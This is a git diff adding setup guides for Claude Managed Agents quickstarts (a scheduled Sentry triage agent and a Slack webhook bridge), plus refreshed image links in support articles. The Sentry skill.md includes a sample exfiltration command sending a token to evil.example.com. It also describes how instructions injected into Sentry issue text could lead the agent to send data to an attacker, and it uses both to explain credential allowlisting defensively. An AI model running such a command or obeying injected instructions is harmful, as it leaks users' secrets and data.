`environment_variable` vault credential. The sandbox holds an opaque placeholder, and the egress proxy substitutes the real token only on requests to Sentry's API hosts (`sentry.io`, `us.sentry.io`, `de.sentry.io`). The model never sees the secret. The same pattern works for `gh`, `twilio`, `vercel`, or any other CLI that authenticates via an env var. + +## Quickstart + +Needs [uv](https://docs.astral.sh/uv/), the [`ant` CLI](https://platform.claude.com/docs/en/cli-sdks-libraries/cli/quickstart) 1.19 or later (`brew install anthropics/tap/ant`), a Sentry auth token, and Anthropic auth: `ant auth login` once, or an API key from [platform.claude.com](https://platform.claude.com/). + +```bash +cd managed-agents/sentry +uv sync +claude "walk me through setting this up" # reads skill.md and drives the rest +``` + +Claude walks through the Sentry token, the vault, agent, and environment, the cron deployment, then a manual test run. + +Or by hand: + +```bash +ant auth login # or put ANTHROPIC_API_KEY in .env +cp .env.example .env # fill in SENTRY_AUTH_TOKEN, SENTRY_ORG, SENTRY_PROJECT +./agents/setup.sh # creates the vault + credential, environment, and agent, writes their IDs to .env +uv run python deploy.py # schedules it: weekday mornings, 9 AM Eastern +uv run python run_now.py # manual run: streams the session and downloads TRIAGE_REPORT.md to reports// +``` + +To change the agent (model, prompt, tools), edit [`agents/sentry-triage/agent.yaml`](agents/sentry-triage/agent.yaml) and re-run `./agents/setup.sh`. It pushes a new agent version and re-pins the deployment to it. + +## Files + +| | | +|---|---| +| `agents/sentry-triage/` | The vault, environment, and agent definitions `setup.sh` provisions | +| `agents/setup.sh` | Vault + credential + environment + agent, and the deployment sync on re-runs | +| `managed_agents.py` | Shared client, env loading, event streaming | +| `deploy.py` | `deployments.create` with a cron schedule | +| `run_now.py` | Manual trigger, stream the session, download the report | +| `runs.py` | Run history and failures | +| `teardown.py` | Archive everything and clear the IDs from `.env` | +| `skill.md` | Mental model, gotchas, setup checklist, debugging | + +Requires `anthropic` ≥ 0.109.0. diff --git a/content/github/claude-quickstarts/managed-agents/sentry/skill.md b/content/github/claude-quickstarts/managed-agents/sentry/skill.md new file mode 100644 index 0000000000..89b101d3ae --- /dev/null +++ b/content/github/claude-quickstarts/managed-agents/sentry/skill.md @@ -0,0 +1,128 @@ +# Setup tips & tricks: scheduled Sentry triage with vault env-var credentials + +Things that aren't obvious from the docs and tend to cost debugging time. + +--- + +## Mental model + +### Where the token lives + +``` + your host Anthropic sandbox (container) +┌─────────────┐ ┌─────────────────────┐ ┌────────────────────────────┐ +│ real token ─┼─────▶│ vault (encrypted) │ │ SENTRY_AUTH_TOKEN= │ +└─────────────┘ │ │ │ │ + │ egress proxy │◀─────┼─ sentry-cli / curl request │ + │ placeholder→token │ │ with placeholder in │ + │ IF host allowlisted│ │ Authorization header │ + └──────────┬──────────┘ └────────────────────────────┘ + │ real token, only toward + ▼ + sentry.io, us.sentry.io, de.sentry.io +``` + +An `environment_variable` vault credential is deliberately the only way to set env vars in a managed sandbox: + +1. **The container never holds the real token.** It holds an opaque placeholder. `echo $SENTRY_AUTH_TOKEN` prints the placeholder, and so does anything that tries to exfiltrate the environment variable. +2. **Substitution is host-scoped.** The egress proxy swaps the placeholder for the token only on outbound requests to the credential's `allowed_hosts`. A prompt injection that runs `curl https://evil.example.com -d "$SENTRY_AUTH_TOKEN"` sends the placeholder. + +What this doesn't give you: the agent can still *use* the credential for anything the allowlisted host permits. A token with `event:write` lets the agent resolve and modify issues. Pick scopes accordingly. The vault limits *where* the token can go, and Sentry scopes limit *what* it can do once there. + +### Two allowlists, not one + +| Config | What it gates | +|---|---| +| `environment.config.networking.allowed_hosts` | Can the sandbox open a connection to this host? | +| `credential.auth.networking.allowed_hosts` | Will the placeholder be replaced with the real secret for this host? | + +Both need Sentry's API hosts (`sentry.io`, `us.sentry.io`, `de.sentry.io`). Set only the environment's and every API call returns 401 with the placeholder. Set only the credential's and the connection never opens. There's also an `unrestricted` credential networking type for CLIs whose host list you don't know up front, but the allowlist is the stronger guarantee: it's the difference between "this token works against Sentry" and "this token works anywhere the agent can be talked into sending it." + +### A deployment is the whole host process + +A **deployment** bundles the agent, environment, vault, and initial user message with a cron schedule. Sessions start themselves on Anthropic infra. Nothing runs on your machine after `deploy.py`. + +--- + +## Gotchas + +### The system prompt is stored, so keep secret tokens out of it + +System prompts and user messages land in the session's event history. Put org and project slugs there (`setup.sh` fills `SENTRY_ORG` and `SENTRY_PROJECT` into `agents/sentry-triage/agent.yaml`), never the token. The token only ever goes into the vault credential. + +### List Sentry's API hosts, not `*.sentry.io` + +Both allowlists name three hosts: `sentry.io` (the apex, which a wildcard would not cover anyway) and the regional API hosts `us.sentry.io` and `de.sentry.io`. Don't widen them to `*.sentry.io`. That pattern also matches `o.ingest.sentry.io`, which is the event ingest endpoint of every Sentry customer. The agent reads issue titles and stack traces that anyone who can trigger an error in your app can write. With the wildcard, an injected instruction could send your data to an attacker's Sentry project, and because the credential's allowlist decides where the placeholder becomes the real token, it could send the token there too. + +### Changing env var name and values + +To change the env var's name, archive the credential and create a new one. The replacement gets a different placeholder. In some scenarios, existing sessions can pick up the new credential, but to guarantee the new var is used, start fresh sessions after a rename. + +When rotating the *value* you can update `secret_value` in place and new outbound requests will use it, including from running sessions. IDs are unchanged. `setup.sh` saves both IDs to `.env` as `CLAUDE_CREDENTIAL_ID` and `CLAUDE_VAULT_ID`. It creates the credential once, with the vault, and does not touch it on re-runs. + +```python +client.beta.vaults.credentials.update( + credential_id, + vault_id=vault_id, + auth={"type": "environment_variable", "secret_value": new_token}, +) +``` + +### `networking.allowed_hosts` is replace-only on update + +To add a host, send the full list including existing entries. + +### The deployment pins an agent version + +`agents.update` writes a new agent version, and sessions you start by hand use the latest. The deployment doesn't: it keeps the version it pinned at create time, so a prompt edit alone never reaches scheduled runs. Re-running `./agents/setup.sh` does both halves: `ant beta:agents update` pushes the change, then `ant beta:deployments update` re-pins to the latest. The bare agent ID means "latest version". The same call sends the environment ID and `vault_ids`, because the deployment also keeps the ones it was created with. That matters after you recreate a vault or environment. + +### Cron is wall-clock, with DST edges + +`0 9 * * 1-5` in `America/New_York` fires at 9:00 AM Eastern regardless of DST. Times that don't exist on spring-forward day are skipped, and times that occur twice on fall-back day fire twice. If that matters, schedule outside 1-3 AM local or use UTC. Runs may start up to 10 seconds late, granularity is per-minute, and an org can have up to 1,000 deployments. + +After `deployments.create`, check `schedule.upcoming_runs_at` in the response to confirm the expression fires when you expect (`deploy.py` prints it). + +### Permanent failures auto-pause the deployment + +`vault_not_found_error`, `agent_archived_error`, and `environment_archived_error` pause the deployment and set `paused_reason`, so a misconfigured deployment doesn't keep failing on schedule indefinitely. Transient failures (rate limits, backend errors) don't pause. `runs.py` lists both: every trigger writes a deployment run record with `error.type` when no session was produced. + +### `pause` is not `archive` + +`pause` stops future scheduled triggers. In-flight sessions keep running, and manual runs still work while paused. `unpause` resumes from the next occurrence (missed runs are not backfilled). `archive` is terminal. + +### Report files lag the session by a few seconds + +The agent writes to `/mnt/session/outputs/`, which the Files API captures automatically. Indexing can lag 1-3 seconds after the session goes idle, so `run_now.py` retries the empty list a few times before giving up. + +--- + +## Setup checklist + +1. Sentry → **Settings → Auth Tokens → Create New Token** with `org:read`, `project:read`, and `event:read` scopes. Copy the `sntrys_...` value. +2. `cp .env.example .env`, fill in `SENTRY_AUTH_TOKEN`, `SENTRY_ORG`, `SENTRY_PROJECT`. For Claude Platform auth, sign in once with [`ant auth login`](https://platform.claude.com/docs/en/cli-sdks-libraries/cli/quickstart) or uncomment `ANTHROPIC_API_KEY`. The `ant` CLI and the SDK share the login. +3. `./agents/setup.sh` → creates the vault, credential, environment, and agent, and appends `CLAUDE_VAULT_ID`, `CLAUDE_CREDENTIAL_ID`, `CLAUDE_ENVIRONMENT_ID`, and `CLAUDE_AGENT_ID` to `.env`. +4. `uv run python deploy.py` → appends `CLAUDE_DEPLOYMENT_ID` to `.env`. Check the printed upcoming runs. +5. `uv run python run_now.py` → streams a manual run and downloads `TRIAGE_REPORT.md` to `reports//`. If the token is missing a scope or an allowlist is wrong, this is where it surfaces. +6. Done. The schedule fires without any host process. `uv run python runs.py` shows history. + +To change the prompt or model later, edit `agents/sentry-triage/agent.yaml` and re-run `./agents/setup.sh`. It pushes the change and re-pins the deployment (see the gotcha above). + +To stop: `uv run python teardown.py` archives everything and removes each `CLAUDE_*` ID from `.env` as it goes. Skip it to leave the schedule running. Afterwards `./agents/setup.sh` and `deploy.py` start from scratch. If teardown fails partway, fix the cause and run it again. + +## Debugging a failed run + +| Symptom | Likely cause | +|---|---| +| `sentry-cli` gets 401 | Placeholder not substituted: host missing from the **credential's** `allowed_hosts`, or the request went to a host outside it | +| Connection refused / timeout from the sandbox | Host missing from the **environment's** `networking.allowed_hosts` | +| 403 from Sentry API | Token missing a scope (`org:read`, `project:read`, `event:read`) | +| `runs.py` shows `vault_not_found_error` or `vault_archived_error` | Vault deleted or archived while the deployment still references it. Remove the `CLAUDE_VAULT_ID` and `CLAUDE_CREDENTIAL_ID` lines from `.env`, and re-run `./agents/setup.sh`. It creates a new vault and credential and points the deployment's `vault_ids` at it. The failure paused the deployment, so finish with `ant beta:deployments unpause --deployment-id $CLAUDE_DEPLOYMENT_ID` | +| Scheduled time passed, no run record | Deployment paused (check `paused_reason`), or you're checking before the up-to-10s jitter | +| `run_now.py` finds no files | Report indexing lag. The script retries, but if it still comes up empty, check the streamed transcript for whether the agent wrote the file | + +--- + +## Production notes + +- Scope the Sentry token to a single project if you can. Read-only scopes mean a prompt injection can at worst read what the on-call engineer could. +- The report lands in the session's files, not your inbox. For delivery, register a `session.status_idled` webhook, download the report, and post it to Slack (the [`../slack`](../slack) quickstart has the webhook pattern). \ No newline at end of file diff --git a/content/github/claude-quickstarts/managed-agents/slack/CLAUDE.md b/content/github/claude-quickstarts/managed-agents/slack/CLAUDE.md new file mode 100644 index 0000000000..f962b333de --- /dev/null +++ b/content/github/claude-quickstarts/managed-agents/slack/CLAUDE.md @@ -0,0 +1,19 @@ +# Slack × Claude Managed Agents bridge + +Stateless webhook bridge: Slack `app_mention` → Managed Agents session (with routing metadata) → `session.status_idled` webhook → `chat.postMessage` in-thread. + +## When the user asks to set this up, get it working, or debug it + +1. **Invoke `/claude-api` first.** That skill loads the full Managed Agents API reference (agents, sessions, environments, events, webhooks, outcomes, multiagent, vaults, memory stores). Use it as the source of truth for any SDK call you write or edit. Don't guess field names. +2. **Read `./skill.md`** and walk the user through it step by step. It has the ordered checklist, every gotcha (scope vs event-subscription, `xoxb` vs `xapp`, workspace-scoped webhooks, retrieve-then-filter), and the debugging table. +3. **After the base bridge works, offer extensions.** Ask the user which (if any) they want, then edit `agents/slack-assistant/agent.yaml` and re-run `./agents/setup.sh`, which pushes the edit as a new agent version, and/or edit `src/agent.ts` for the session side. A new resource is a new YAML file in `agents/slack-assistant/` plus one more create/update block in `setup.sh`, copied from the two already there. + - **GitHub repo**: mount a repo into the session container (`resources: [{type: "github_repository", ...}]` on `sessions.create`) + - **MCP tools**: e.g. Slack or GitHub MCP so the agent can act, not only reply (`mcp_servers` + `mcp_toolset` in `agent.yaml`, `agents/slack-assistant/vault.yaml` plus an `ant beta:vaults create` block in `setup.sh` that appends `CLAUDE_VAULT_ID`, then `vault_ids` on the session) + - **Outcomes**: rubric-graded iterate loop (`user.define_outcome` event instead of `user.message`) + - **Multiagent**: coordinator + subagent roster (`multiagent: {type: coordinator, agents: [...]}` in `agent.yaml`) + - **Memory store**: cross-session persistence (add `agents/slack-assistant/memory-store.yaml` and an `ant beta:memory-stores create` block in `setup.sh`, then `resources: [{type: "memory_store", ...}]` on `sessions.create`) + - **Custom tools**: host-side execution via `agent.custom_tool_use` / `user.custom_tool_result` + + Pull exact shapes from the `/claude-api` skill's `shared/managed-agents-*.md` docs. + +Run the server with `bun run dev`. Agent provisioning is `./agents/setup.sh`: it creates the agent and environment from `agents/slack-assistant/*.yaml` with the `ant` CLI, writes their IDs to `.env`, and on re-runs pushes YAML edits onto the same resources. diff --git a/content/github/claude-quickstarts/managed-agents/slack/README.md b/content/github/claude-quickstarts/managed-agents/slack/README.md new file mode 100644 index 0000000000..d5b8f3f933 --- /dev/null +++ b/content/github/claude-quickstarts/managed-agents/slack/README.md @@ -0,0 +1,48 @@ +# Slack × Claude Managed Agents + +`@mention` a Claude [Managed Agent](https://platform.claude.com/docs/en/managed-agents/overview) in Slack and get the reply in-thread. The bridge is stateless: the session's `metadata` (`slack_channel`, `slack_thread_ts`) is the only routing state, so there is no database and no mapping table. + +``` +Slack @mention ──▶ /slack/events ──▶ sessions.create (+ metadata) ──▶ 204 + │ + Claude runs to idle on Anthropic infra + │ +/managed-agents/webhook ◀── session.status_idled ◀┘ + │ + └──▶ sessions.retrieve → read metadata → chat.postMessage +``` + +## Quickstart + +Needs [Bun](https://bun.sh/), the [`ant` CLI](https://platform.claude.com/docs/en/cli-sdks-libraries/cli/quickstart) 1.19 or later (`brew install anthropics/tap/ant`), a public HTTPS tunnel such as ngrok, and Anthropic auth: `ant auth login` once, or an API key from [platform.claude.com](https://platform.claude.com/). + +```bash +cd managed-agents/slack +bun install +claude "walk me through setting this up" # reads skill.md and drives the rest +``` + +Claude walks through the Slack app, the agent and webhook, the env vars, and `bun run dev` in the order that works. The order matters: Slack verifies the Request URL the moment you save it, so the server has to be up first. + +Or by hand: + +```bash +ant auth login # or put ANTHROPIC_API_KEY in .env (cp .env.example .env) +./agents/setup.sh # creates the agent + environment from agents/slack-assistant/*.yaml, writes their IDs to .env +bun run dev # then follow the local dev checklist in skill.md for the Slack and webhook halves +``` + +To change the agent (model, prompt, tools), edit [`agents/slack-assistant/agent.yaml`](agents/slack-assistant/agent.yaml) and re-run `./agents/setup.sh`. + +## Files + +| | | +|---|---| +| `agents/slack-assistant/` | The agent and environment definitions `setup.sh` provisions | +| `src/main.ts` | Bun server, routes | +| `src/slack-events.ts` | Verify Slack sig, `url_verification`, fire-and-forget kickoff | +| `src/agent.ts` | `sessions.create` + `user.message` with routing metadata | +| `src/managed-agents-webhook.ts` | `beta.webhooks.unwrap` → filter by metadata → `chat.postMessage` | +| `skill.md` | Mental model, gotchas, setup checklist, debugging | + +Requires `@anthropic-ai/sdk` ≥ 0.109.0. diff --git a/content/github/claude-quickstarts/managed-agents/slack/skill.md b/content/github/claude-quickstarts/managed-agents/slack/skill.md new file mode 100644 index 0000000000..f55c415b77 --- /dev/null +++ b/content/github/claude-quickstarts/managed-agents/slack/skill.md @@ -0,0 +1,111 @@ +# Setup tips & tricks: Slack × Claude Managed Agents webhook bridge + +Things that aren't obvious from the docs and tend to cost debugging time. + +--- + +## Mental model + +### Two webhooks, one bridge + +- **Slack → bridge** (`/slack/events`) fires on @mention. Payload carries `channel`, `ts`, `thread_ts`, `user`, `text`. +- **Anthropic → bridge** (`/managed-agents/webhook`) fires on session idle. Payload carries **only** the session ID. + +Neither carries the agent's output. Both are *signals* with IDs. + +### The webhook is a doorbell, not a delivery + +Anthropic's `session.status_idled` payload is deliberately thin: `{type, id}`. You follow up with `sessions.retrieve(id)` (metadata) and `sessions.events.list(id)` (output). Push the signal, pull the data. + +### `metadata` is the entire routing state + +On kickoff, set `metadata: {slack_channel, slack_thread_ts, slack_team}`. When the idle webhook arrives later with only a session ID, retrieve the session, read those keys back, and `chat.postMessage` to exactly the right thread, with nothing stored in the bridge itself. This is what makes it stateless. + +### Slack's 3-second ack window + +Slack retries any event that doesn't get a 2xx within 3 seconds. The bridge **must** return before the session finishes. So: verify the signature, dedupe on `event_id`, fire `kickoffAgentSession()` without awaiting it, and return 204 immediately. + +--- + +## Gotchas + +### Use a developer sandbox, not your company workspace + +Slack's [Developer Program sandboxes](https://api.slack.com/developer-program/sandboxes) give you a free Enterprise Grid org to test in: admin rights, fake users/channels, no risk of installing a half-built bot into production. This is **not** the "agent quickstart". It's **Developer Program → Sandboxes**: + +1. Join the [Slack Developer Program](https://api.slack.com/developer-program) → activate via email → accept ToS. +2. From the program dashboard: **Provision Sandbox** → pick empty or pre-loaded with fake users/channels → click again. +3. Finish setup from the email invite. You become Primary Org Owner. Name the org and create at least one workspace inside it. +4. Create your app against that sandbox workspace and develop normally. + +### OAuth scope ≠ event subscription + +Adding `app_mentions:read` under **OAuth & Permissions → Bot Token Scopes** grants *permission* to see mentions. It does **not** cause Slack to deliver them. You must *also* go to **Event Subscriptions**, toggle it **On**, set the Request URL, and add `app_mention` under "Subscribe to bot events." Two separate pages. Miss the second one and you get zero deliveries with no error anywhere. + +### `xoxb-` vs `xapp-`: two tokens, two pages, easy to grab the wrong one + +| Token | Prefix | Page | Used for | +|---|---|---|---| +| Bot User OAuth Token | `xoxb-` | OAuth & Permissions (after install) | `chat.postMessage`. **This is the one you want** | +| App-Level Token | `xapp-` | Basic Information → App-Level Tokens | Socket Mode WebSocket only | + +`chat.postMessage` with an `xapp-` token fails with `invalid_auth`. The `xoxb-` token only exists after you've added at least one bot scope **and** clicked Install/Reinstall to Workspace. + +### Bridge must be running before you save the Request URL + +Saving the Event Subscriptions URL triggers an immediate `url_verification` POST. If nothing is listening on the tunnel you get "Your URL didn't respond" and the URL won't save. Start `bun run dev` first, *then* paste the URL. + +### Anthropic webhooks are workspace-scoped + +The endpoint you register in Console only receives events for sessions **in that same workspace**. If your Anthropic credentials are from workspace A but you registered the endpoint in workspace B: zero deliveries, silently. Match the workspace picker on the Webhooks page to the Workspace column on your API key, or to the workspace `ant auth login` signed you into. + +### A workspace webhook fires for *every* session in the workspace + +Not only yours. If the Anthropic workspace is shared with other agents, scripts, or teammates, **every** `session.status_idled` in that workspace hits your endpoint. Your handler has to filter: + +- **Retrieve-then-filter, always first.** `sessions.retrieve(id)` → check for your `slack_channel` metadata key → bail with 204 if absent. Do this *before* `events.list()` or any other work. Otherwise unrelated sessions throw 404 deeper in the handler. +- **Catch 404/403 on `sessions.retrieve`.** Sessions created under other API keys in the same workspace aren't readable by yours. +- **For production, use a dedicated Anthropic workspace.** Each unrelated session costs one `retrieve()` call to discard it. A workspace that only contains this agent's sessions avoids that. + +### `unwrap()` needs a plain header map + +`client.beta.webhooks.unwrap(body, {headers})` wants `Record`, not a fetch `Headers` object. Pass `Object.fromEntries(req.headers)`. + +### `event.id` is your idempotency key + +Anthropic retries failed deliveries with the **same** top-level `event.id`. Slack retries with the same `event_id` inside the body. Dedupe on both, but forget the id again if handling throws. Otherwise the retry of a failed delivery is deduped and the reply is lost. Return 2xx once you've either handled or ignored the event. Anything else triggers a retry, and ~20 consecutive Anthropic failures auto-disables your endpoint. + +### No approval surface, so tools are `always_allow` + +`agents/slack-assistant/agent.yaml` sets `permission_policy: {type: always_allow}` on the toolset. An `always_ask` tool idles the session to wait for a confirmation, the idle webhook fires, and the bridge posts whatever partial text exists. If you add an approval flow (a Slack button that sends `user.tool_confirmation`), switch the risky tools back to `always_ask`. + +--- + +## Local dev checklist + +1. `ngrok http 3000` → note the public URL. Optionally set it as `BASE_URL` in `.env` so the startup log prints the two full webhook URLs. +2. `ant auth login` (or `cp .env.example .env` and set `ANTHROPIC_API_KEY`), then `./agents/setup.sh`. It appends `CLAUDE_AGENT_ID` and `CLAUDE_ENVIRONMENT_ID` to `.env`. **Don't overwrite them later** when you paste in the Slack secrets. +3. Slack app → **OAuth & Permissions** → Bot Token Scopes: `app_mentions:read`, `chat:write` (+ `im:history` for DMs) → **Install to Workspace** → copy `xoxb-…` → `SLACK_BOT_TOKEN`. +4. Slack app → **Basic Information** → copy **Signing Secret** → `SLACK_SIGNING_SECRET`. +5. Claude Console → **Manage → Webhooks**: `/managed-agents/webhook`, subscribe `session.status_idled` + `session.status_terminated` → copy `whsec_…` → `ANTHROPIC_WEBHOOK_SIGNING_KEY`. **Same workspace as your Anthropic credentials.** +6. `bun run dev`. The server must be up *before* step 7. +7. Slack app → **Event Subscriptions** → On → Request URL `/slack/events` → Verified ✓ → add bot event `app_mention` (+ `message.im` for DMs, and turn on **App Home → Messages Tab**) → **Save Changes** → reinstall if prompted. +8. In Slack: `/invite @your-bot` to a channel, then `@your-bot hello`. + +### Debugging a silent failure + +- **Nothing in the bridge log at all** → Slack isn't reaching you. Check `curl localhost:4040/api/requests/http` (ngrok's request log). No `/slack/events` POSTs = Event Subscriptions not saved, or Socket Mode is on. +- **`[agent] kickoff` logged but no reply** → ngrok log shows `/managed-agents/webhook` POSTs? If none: Anthropic workspace mismatch or endpoint not saved. If 401: `ANTHROPIC_WEBHOOK_SIGNING_KEY` mismatch. If the log shows `chat.postMessage failed`: `invalid_auth` means `SLACK_BOT_TOKEN` is wrong (check for `xapp-`), `missing_scope` means no `chat:write`. +- **`FATAL: CLAUDE_AGENT_ID is required`** → `./agents/setup.sh` hasn't run yet. It appends the IDs to `.env` in this directory. +- **`./agents/setup.sh` fails with 409 on the environment** → environment names are unique per workspace and someone already created `quickstart-slack-assistant-env` there. Paste that environment's ID into `.env` as `CLAUDE_ENVIRONMENT_ID`, or change `name` in `agents/slack-assistant/environment.yaml`, then re-run. +- **The bot answers with an old prompt or model** → Bun loads `.env.local` over `.env`. If you have one left from the cookbook version of this bridge, delete it. +- **`chat.postMessage failed ... not_in_channel`** → `/invite @your-bot` to the channel first. + +--- + +## Production notes + +- Replace ngrok with a real deploy. Nothing else changes. +- Replace the in-memory `seenEventIds` Sets with Redis/DB for multi-instance idempotency. +- For a distributed (multi-workspace) Slack app, swap the static `SLACK_BOT_TOKEN` for a per-team store keyed on `metadata.slack_team`, and add the Slack OAuth flow. +- Each @mention starts a fresh session (no memory across turns). For threaded conversations, cache `thread_ts → session_id` and send follow-ups via `sessions.events.send` instead of `sessions.create`. diff --git a/content/support/10310342-how-do-i-log-out-of-all-active-sessions.md b/content/support/10310342-how-do-i-log-out-of-all-active-sessions.md index 28cfd44cf5..a3e9d6936f 100644 --- a/content/support/10310342-how-do-i-log-out-of-all-active-sessions.md +++ b/content/support/10310342-how-do-i-log-out-of-all-active-sessions.md @@ -38,7 +38,7 @@ To regain access to your account on any device, you'll need to authenticate agai If you used your Claude account to authenticate into Claude Code, you can manage your authorization tokens by navigating to **[Settings > Claude Code](https://claude.ai/settings/claude-code)**. To remove a token and log out of Claude Code, click the trash can icon. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1608263923/b4fa7d6f6f08f2adffb4ea63bc58/image+%287%29.png?expires=1789501500&signature=3779e410e26d9d802c809285b72b06572e91bbb03bb463d9cfcbcca286a86de6&req=dSYnHst4nohdWvMW1HO4zVuHihX41ma%2BAQofdwM8qVdbkkUyfyZzVr07lEd%2F%0AkY7VP695JLGUG4VyIeA%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1608263923/b4fa7d6f6f08f2adffb4ea63bc58/image+%287%29.png?expires=1789538400&signature=422c56e6ea54cf68def1376835f17fdd12040d1242287507a303112772dbd9fc&req=dSYnHst4nohdWvMW1HO4zVuHihX41W%2B%2FAQofdwM8qVcqdpOR%2BWOM98RWOkP%2F%0A54GJVwGnjvAYQcmSdfw%3D%0A) ## Unable to access your account? diff --git a/content/support/10366376-how-can-i-delete-my-claude-console-account.md b/content/support/10366376-how-can-i-delete-my-claude-console-account.md index 4ed905a488..e1a0ec867b 100644 --- a/content/support/10366376-how-can-i-delete-my-claude-console-account.md +++ b/content/support/10366376-how-can-i-delete-my-claude-console-account.md @@ -36,7 +36,7 @@ If you followed the steps above to delete your Console organization but want to If you have an outstanding balance, you will see a message during the deletion flow that prompts you to pay the balance first by routing you to [Settings > Billing](https://platform.claude.com/settings/billing). -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1973957766/5c2dd87c0818a0400099a833c9b3/4cc3130a-f696-4967-9fe3-e5623c6f02bd?expires=1789501500&signature=4f0418eae3e957f9c532dbdfb1f5b64da3266d999551f654bc2de8968fb10160&req=dSkgFcB7moZZX%2FMW1HO4zbYXUB5nXOUeFZRyvJPpBZ9MvFm63eZezMBuJdMI%0A1pgneSfqHRZw6J3GakU%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1973957766/5c2dd87c0818a0400099a833c9b3/4cc3130a-f696-4967-9fe3-e5623c6f02bd?expires=1789538400&signature=42314ba9cc8ff735b9e59d02d11415b7d0979fd78708661ed11027d8c88fb4ee&req=dSkgFcB7moZZX%2FMW1HO4zbYXUB5nX%2BwfFZRyvJPpBZ9Eel7bfXfmXQh8QGFE%0AyHjRX7hxDAqoRN%2B9iL0%3D%0A) You must pay this outstanding balance before you’re able to move forward with the deletion process. @@ -44,6 +44,6 @@ You must pay this outstanding balance before you’re able to move forward with There are some scenarios where you will need to contact our team to delete your account. If this is the case, it will be noted when you try to delete your organization: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1973957765/19dda72a40db95d78c00c27a1a1c/6ce89be6-93ce-409c-bbea-d34be09db348?expires=1789501500&signature=b26fee5acfdd053f2c48bc6c7069029de3e5498b1ed25880e23eb5599e6284e1&req=dSkgFcB7moZZXPMW1HO4zRW12%2BzIeKX8ZxDZGlqR6Gi95meu%2BY0sfZ8Xp6B0%0APld0DBpr%2BWJRMFf1hn0%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1973957765/19dda72a40db95d78c00c27a1a1c/6ce89be6-93ce-409c-bbea-d34be09db348?expires=1789538400&signature=496ff45f68b183b1f7702bc764ed1f569852808eb4f6fe5ea35883a8df81b1f8&req=dSkgFcB7moZZXPMW1HO4zRW12%2BzIe6z9ZxDZGlqR6GhIGI4QU9jKUVzMoi%2BF%0AVooS%2BcJu68i8odwuUnc%3D%0A) If you are seeing this message, this indicates that your Console organization cannot be deleted via the self-service pathway. \ No newline at end of file diff --git a/content/support/10504844-manage-user-feedback-settings-on-team-and-enterprise-plans.md b/content/support/10504844-manage-user-feedback-settings-on-team-and-enterprise-plans.md index 6eebec3349..81e3383803 100644 --- a/content/support/10504844-manage-user-feedback-settings-on-team-and-enterprise-plans.md +++ b/content/support/10504844-manage-user-feedback-settings-on-team-and-enterprise-plans.md @@ -6,6 +6,6 @@ As a Primary Owner or Owner of a Team or Enterprise plan, you can manage the abi 2. Use the toggle to change the **Rate chats** setting for your organization: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2058292603/75752add0bed6a9f3ab217f01708/CleanShot%2B2026-02-12%2Bat%2B08_55_14-402x.png?expires=1789501500&signature=078846bf0a304550f1a5bb2ce7c9d395c002ddb11173b72e02c54b3b28e47db5&req=diAiHst3n4dfWvMW1HO4zYGm8i4ZEKnJ085gFtEpvcQ9jW5j9DFqf6K5ykcm%0Aqvp5SJD2YO6BsDUEIl4%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2058292603/75752add0bed6a9f3ab217f01708/CleanShot%2B2026-02-12%2Bat%2B08_55_14-402x.png?expires=1789538400&signature=5962408e83eaacb5d0b11cd139c0f6294df93e08daff3034a974b24a64863cd4&req=diAiHst3n4dfWvMW1HO4zYGm8i4ZE6DI085gFtEpvcSEcKgUrc5Q9gJ3OTUq%0Ad8dlsVH28wba9CA5mbE%3D%0A) More information on how Anthropic collects, uses, and stores feedback data can be found in our Privacy Center: **[How long do you store my organization’s data?](https://privacy.claude.com/en/articles/7996866-how-long-do-you-store-my-organization-s-data)** \ No newline at end of file diff --git a/content/support/10504853-manage-user-feedback-settings-on-claude-console.md b/content/support/10504853-manage-user-feedback-settings-on-claude-console.md index bf2ec1bd9a..1eb3daaac4 100644 --- a/content/support/10504853-manage-user-feedback-settings-on-claude-console.md +++ b/content/support/10504853-manage-user-feedback-settings-on-claude-console.md @@ -8,6 +8,6 @@ To manage feedback for your Console organization: 2. Toggle the feedback switch on or off. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1729186182/ebf4032a12a8c56959ca927726ce/Screenshot+2025-09-16+at+12_32_31%E2%80%AFPM.png?expires=1789501500&signature=ef60531cad594c13ab20fb0c319e8af84621d6fced99a733eadc87a09a6e83d9&req=dSclH8h2m4BXW%2FMW1HO4zVpN5H4YWWlAJ%2FadMup7FQcczfQCH2OCEVCWN4As%0AplHHLOCCJ7rKqvDW91U%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1729186182/ebf4032a12a8c56959ca927726ce/Screenshot+2025-09-16+at+12_32_31%E2%80%AFPM.png?expires=1789538400&signature=d64df76ac16735b04737733190bf2b769bd7b2d2d8a7a453bb1b37fa35d38111&req=dSclH8h2m4BXW%2FMW1HO4zVpN5H4YWmBBJ%2FadMup7FQdtIXCixwIpTvpDNsp2%0AJ%2FG1UZV2gE2jEw4Evl8%3D%0A) More information on how Anthropic collects, uses, and stores feedback data can be found in our Privacy Center: [How long do you store my organization’s data?](https://privacy.claude.com/en/articles/7996866-how-long-do-you-store-my-organization-s-data) \ No newline at end of file diff --git a/content/support/10593882-share-and-unshare-chats.md b/content/support/10593882-share-and-unshare-chats.md index e9cf316a6f..2aa4ed1855 100644 --- a/content/support/10593882-share-and-unshare-chats.md +++ b/content/support/10593882-share-and-unshare-chats.md @@ -38,12 +38,12 @@ To unshare a chat: Users on free, Pro, or Max plans can review a log of shared chats by navigating to **[Settings > Privacy](https://claude.ai/settings/data-privacy-controls)**. Find the **Privacy settings** section and click “Manage” next to **Shared chats:** -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1921669913/7cc7be48cfc7a18f9f469d6cd83c/CleanShot+2026-01-08+at+10_20_43%402x.png?expires=1789501500&signature=81ce275b8242a2012c294d8544bcf6084680a77eb492bc9bc38f7d7545e2ecac&req=dSklF894lIheWvMW1HO4zWn5HzoYYkRuc9cNIYuX0GGT5%2FGNU9lO72qIJf%2Fx%0AFzC16mPI7aWGbBnS3PU%3D%0A) 